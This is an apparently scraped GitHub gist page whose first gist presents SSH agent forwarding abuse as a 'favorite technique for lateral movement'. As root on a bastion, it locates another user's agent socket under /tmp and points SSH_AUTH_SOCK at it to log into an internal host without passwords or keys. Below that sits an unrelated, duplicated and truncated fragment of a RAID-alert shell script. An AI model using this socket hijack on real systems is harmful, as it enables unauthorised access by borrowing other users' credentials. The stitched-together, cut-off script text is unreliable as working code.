Wellington Lee wellingtonlee

## SSH Agent Forwarding.md

      
              1 file
            
          
              10 forks
            
          
                11 comments
              
            
              90 stars
            
          
                int0x80
                / SSH Agent Forwarding.md
            
            
              Created
              January 7, 2021 00:59
            
          
    Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.
root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460

root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh user@internal.company.tld

user@internal:~$ hostname -f
internal.company.tld

  
## chkraid.sh
#!/bin/bash

# dead simple mdadm alerts via webhook
# by eric barch [v1.0 -- 2018.11.26]


# 1. place this file in ~/chkraid.sh
#    chmod +x ~/chkraid.sh

# 2. drop this in your crontab:
	#!/bin/bash

	# dead simple mdadm alerts via webhook
	# by eric barch [v1.0 -- 2018.11.26]


	# 1. place this file in ~/chkraid.sh
	# chmod +x ~/chkraid.sh

	# 2. drop this in your crontab: